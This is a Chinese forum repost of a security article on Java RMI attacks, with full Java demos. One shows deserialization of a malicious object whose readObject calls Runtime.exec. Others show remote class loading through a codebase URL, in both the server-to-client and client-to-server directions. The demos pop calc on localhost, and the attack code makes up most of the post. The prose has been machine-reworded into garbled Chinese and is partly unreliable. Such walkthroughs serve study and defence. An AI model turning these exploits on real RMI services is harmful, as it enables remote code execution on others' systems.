搜索
房产
装修
汽车
婚嫁
健康
理财
旅游
美食
跳蚤
二手房
租房
招聘
二手车
教育
茶座
我要买房
买东西
装修家居
交友
职场
生活
网购
亲子
情感
龙城车友
找美食
谈婚论嫁
美女
兴趣
八卦
宠物
手机

关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的

[复制链接]
查看: 89|回复: 0

1万

主题

1万

帖子

4万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
45263
发表于 2020-1-24 00:07 | 显示全部楼层 |阅读模式
原文地址:https://www.anquanke.com/post/id/194384#h3-3
1.java rmi

关于rmi客户端和办事端通讯的进程,java的方式都实现在rmi办事端,客户端现实上是经过拜候rmi注册表拿到stub,然后再经过它挪用办事端方式,那末挪用方式时要转达参数,参数可以为一样平常典范,也可以为援用典范,那末假如为援用典范,便可以大要操纵办事端已经有的gaget chain来打server,由于参数现实上是序列化传输的,那末数据到达办事端后必定会经过反序列化。
客户端:
RMIClient.java
  1. package com.longofo.javarmi;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient {    /**     * Java RMI恶意操纵demo     *     * @param args     * @throws Exception     */    public static void main(String[] args) throws Exception {        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);        // 获得远程工具的援用        Services services = (Services) registry.lookup("Services");        PublicKnown malicious = new PublicKnown();        malicious.setParam("calc");        malicious.setMessage("haha");        // 操纵远程工具的援用挪用对应的方式        System.out.println(services.sendMessage(malicious));    }}
复制代码
此时客户端要打办事端,是以要将恶意的工具作为参数转到达办事端,此时序列化的工具将在办事端反序列化
publicKnown.java
  1. package com.longofo.javarmi;import java.io.IOException;import java.io.ObjectInputStream;import java.io.Serializable;public class PublicKnown extends Message implements Serializable {    private static final long serialVersionUID = 7439581476576889858L;    private String param;    public void setParam(String param) {        this.param = param;    }    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {        in.defaultReadObject();        Runtime.getRuntime().exec(this.param);    }}
复制代码
此时要转达的恶意工具必定要合适办事端参数典范的界说
办事端:
RMIServer.java
  1. //RMIServer.javapackage com.longofo.javarmi;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class RMIServer {    /**     * Java RMI 办事端     *     * @param args     */    public static void main(String[] args) {        try {            // 实例化办事端远程工具            ServicesImpl obj = new ServicesImpl();            // 没有继续UnicastRemoteObject时需要操纵静态方式exportObject处置惩罚            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);            Registry reg;            try {                // 建立Registry                reg = LocateRegistry.createRegistry(9999);                System.out.println("java RMI registry created. port on 9999...");            } catch (Exception e) {                System.out.println("Using existing registry");                reg = LocateRegistry.getRegistry();            }            //绑定远程工具到Registry            reg.bind("Services", services);        } catch (RemoteException e) {            e.printStackTrace();        } catch (AlreadyBoundException e) {            e.printStackTrace();        }    }}
复制代码
ServiceImpl.java
  1. package com.longofo.javarmi;import java.rmi.RemoteException;public class ServicesImpl implements Services {    public ServicesImpl() throws RemoteException {    }    @Override    public Object sendMessage(Message msg) throws RemoteException {        return msg.getMessage();    }}
复制代码
Service.java
  1. package com.longofo.javarmi;import java.rmi.RemoteException;public interface Services extends java.rmi.Remote {    Object sendMessage(Message msg) throws RemoteException;}
复制代码
Message.java
  1. package com.longofo.javarmi;import java.io.Serializable;public class Message implements Serializable {    private static final long serialVersionUID = -6210579029160025375L;    private String msg;    public Message() {    }    public String getMessage() {        System.out.println("Processing message: " + msg);        return msg;    }    public void setMessage(String msg) {        this.msg = msg;    }}
复制代码
所以这里办事端存在毛病的即为ServicesImpl类,其存在一个方式其进口参数为Message工具,而且这里Message这个类是继续自Serializable,即可以举行反序列化。办事端经过bind()函数绑定远程工具到RMI注册表中,此时客户端即可以拜候RMI注册表拿到stub,即可挪用办事真个方式,比如sendMessage()函数
此时先启动RMIServer.java,然后再启动RMIClient.java,即可到达打rmi办事真个成果,这里jdk版本为1.6
关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的  热点新闻 1063309-20200123203611088-2126301259
关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的  热点新闻 1063309-20200123203812810-1444491198

在办事真个readObject处下断点,即可看到挪用栈,经过ConnectHandler后便可以大要肯定办事端要反序列化的类名
关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的  热点新闻 1063309-20200123210047702-1898520616

接下来就是经过反射挪用PublicKnown类的readObject方式 ,进而到达readObject内部的命令尝试代码段
关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的  热点新闻 1063309-20200123210453298-144279850

2.java rmi 静态加载类

2.1RMI办事端打客户端

java rmi静态加载类,实在就是经过指定codebase来拟订远程的类仓库,我们晓得java在运转进程中需要类的时候可以在当地加载,即在classpath中找,那末也可以经过codebase来指定远程库。默许是不答应远程加载的,如需加载则需要安装RMISecurityManager而且设备java.security.policy。而且需要java.rmi.server.useCodebaseOnly 的值必须为false,固然这也是受jdk版本限制的。
RMIClient.java
  1. package com.longofo.javarmi;import java.rmi.RMISecurityManager;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient1 {    /**     * Java RMI恶意操纵demo     *     * @param args     * @throws Exception     */    public static void main(String[] args) throws Exception {        //假如需要操纵RMI的静态加载功用,需要开启RMISecurityManager,并设备policy以答应从远程加载类库        System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile());        RMISecurityManager securityManager = new RMISecurityManager();        System.setSecurityManager(securityManager);        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);        // 获得远程工具的援用        Services services = (Services) registry.lookup("Services");        Message message = new Message();        message.setMessage("hahaha");        services.sendMessage(message);    }}
复制代码
此时RMI客户规矩常操纵,传入Message工具,并挪用办事端sendMessage方式
ServiceImpl.java
  1. package com.longofo.javarmi;import com.longofo.remoteclass.ExportObject;import java.rmi.RemoteException;public class ServicesImpl1 implements Services {    @Override    public ExportObject sendMessage(Message msg) throws RemoteException {        return new ExportObject();    }}
复制代码
可以看到此时办事端实现Services接口的类的sendMessage方式返回值为ExportObject典范,即该类的实例
ExportObject.java
  1. //// Source code recreated from a .class file by IntelliJ IDEA// (powered by Fernflower decompiler)//package com.longofo.remoteclass;import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.InputStreamReader;import java.io.Serializable;import java.util.Hashtable;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;public class ExportObject implements ObjectFactory, Serializable {    private static final long serialVersionUID = 4474289574195395731L;    public ExportObject() {    }    public static void exec(String cmd) throws Exception {        String sb = "";        BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());        BufferedReader inBr;        String lineStr;        for(inBr = new BufferedReader(new InputStreamReader(in)); (lineStr = inBr.readLine()) != null; sb = sb + lineStr + "\n") {        }        inBr.close();        in.close();    }    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {        return null;    }    static {        try {            exec("calc");        } catch (Exception var1) {            var1.printStackTrace();        }    }}
复制代码
这里现实上办事端返回的即为该ExportObject类的实例,该类是实现了工具工场类,而且可以序列化的,所以可以经过jrmp举行传输,我们只需要将其编译放在办事器端指定的codebase地址即可期待客户端来加载,当客户端远程加载该类时将会实例化该类,即挪用该类的static代码段
RMIServer.java
  1. package com.longofo.javarmi;import java.rmi.AlreadyBoundException;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class RMIServer1 {    public static void main(String[] args) {        try {            // 实例化办事端远程工具            ServicesImpl1 obj = new ServicesImpl1();            // 没有继续UnicastRemoteObject时需要操纵静态方式exportObject处置惩罚            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);            //设备java.rmi.server.codebase            System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");            Registry reg;            try {                // 建立Registry                reg = LocateRegistry.createRegistry(9999);                System.out.println("java RMI registry created. port on 9999...");            } catch (Exception e) {                System.out.println("Using existing registry");                reg = LocateRegistry.getRegistry();            }            //绑定远程工具到Registry            reg.bind("Services", services);        } catch (RemoteException e) {            e.printStackTrace();        } catch (AlreadyBoundException e) {            e.printStackTrace();        }    }}
复制代码
此时RMIServer端指定了客户端codebase的地址,即客户端反序列化ExportObject时需要加载该类,此时将经过办事端供给的codebase来加载
此时先启动托管远程类的办事端,将ExportObject.class放在codebase指定的位置,这里要留意包名要和目录名不异等
关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的  热点新闻 1063309-20200123222716044-893639327

然后启动RMI办事端,启动RMI客户端,即完成了客户端要挪用sendMessage方式,此时办事端返回了ExportObject工具,客户端发现返回的是ExportObject工具后,那将在当地的classpath中没找到该类,则经过办事端指定的codebase来加载该类,加载该类的后将实例化该类,从而触发calc
关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的  热点新闻 1063309-20200123223356330-248155209

此时托管class的http办事端也收到了加载class文件的请求
关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的  热点新闻 1063309-20200123223418310-565324920

2.2RMI客户端打办事端

RMIClient.java
  1. package com.longofo.javarmi;import com.longofo.remoteclass.ExportObject1;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIClient2 {    public static void main(String[] args) throws Exception {        System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");        Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999);        // 获得远程工具的援用        Services services = (Services) registry.lookup("Services");        ExportObject1 exportObject1 = new ExportObject1();        exportObject1.setMessage("hahaha");        services.sendMessage(exportObject1);    }}
复制代码
上面RMI客户端打RMI办事端是办事端来指定codebase地址供客户端参考,客户端来加载codebase地址的class文件,那末从上面这段代码可以看到此时是客户端拟订了codebase地址,那末固然办事端就得从客户端指定的codebase来加载class了,可以看到此时客户端挪用办事真个sendMessage函数转达的是ExportObject1工具
ExportObject1.java
  1. package com.longofo.remoteclass;import com.longofo.javarmi.Message;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.Serializable;import java.util.Hashtable;public class ExportObject1 extends Message implements ObjectFactory, Serializable {    private static final long serialVersionUID = 4474289574195395731L;    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception {        return null;    }}
复制代码
此时该类继续自Message类,实现工具工场接口,而且支持序列化
ServiceImpl.java
  1. package com.longofo.javarmi;import java.rmi.RemoteException;public class ServicesImpl implements Services {    public ServicesImpl() throws RemoteException {    }    @Override    public Object sendMessage(Message msg) throws RemoteException {        return msg.getMessage();    }}
复制代码
RMIServer.java
  1. //RMIServer2.javapackage com.longofo.javarmi;import java.rmi.AlreadyBoundException;import java.rmi.RMISecurityManager;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class RMIServer2 {    /**     * Java RMI 办事端     *     * @param args     */    public static void main(String[] args) {        try {            // 实例化办事端远程工具            ServicesImpl obj = new ServicesImpl();            // 没有继续UnicastRemoteObject时需要操纵静态方式exportObject处置惩罚            Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);            Registry reg;            try {                //假如需要操纵RMI的静态加载功用,需要开启RMISecurityManager,并设备policy以答应从远程加载类库                System.setProperty("java.security.policy", RMIServer.class.getClassLoader().getResource("java.policy").getFile());                RMISecurityManager securityManager = new RMISecurityManager();                System.setSecurityManager(securityManager);                // 建立Registry                reg = LocateRegistry.createRegistry(9999);                System.out.println("java RMI registry created. port on 9999...");            } catch (Exception e) {                System.out.println("Using existing registry");                reg = LocateRegistry.getRegistry();            }            //绑定远程工具到Registry            reg.bind("Services", services);        } catch (RemoteException e) {            e.printStackTrace();        } catch (AlreadyBoundException e) {            e.printStackTrace();        }    }}
复制代码
可以由以上代码看到,此时RMI办事端绑定的services接口对应的ServicesImpl.java中sendMessage函数将会挪用进口参数Message典范工具的getmessage函数,这里方式体内容是什么并不严重,由于这类打法和第一节中的打法一样,都是打RMI办事端,区分是第一节是操纵RMI办事端当地的gaget chain,而这里则是操纵远程类加载,经过客户端指定的codebase来打RMI办事端。
关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的  热点新闻 1063309-20200123230245146-498177589

所以此时codebase的地址也将遭到请求ExportObject1.class的请求,由于办事端发现穿送过来的ExportObject1类classpath里面没有,全数就会经过客户端指定的codebase加载,从而实例化该恶意ExportObject1类,尝试static代码块的命令
关于<Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)>看后的  热点新闻 1063309-20200123230304569-1625862788



免责声明:假如加害了您的权益,请联系站长,我们会实时删除侵权内容,感谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Copyright © 2006-2014 全椒百姓网-全椒知名**,发布及时新鲜的全椒新闻资讯 生活信息 版权所有 法律顾问:高律师 客服电话:0791-88289918
技术支持:迪恩网络科技公司  Powered by Discuz! X3.2
快速回复 返回顶部 返回列表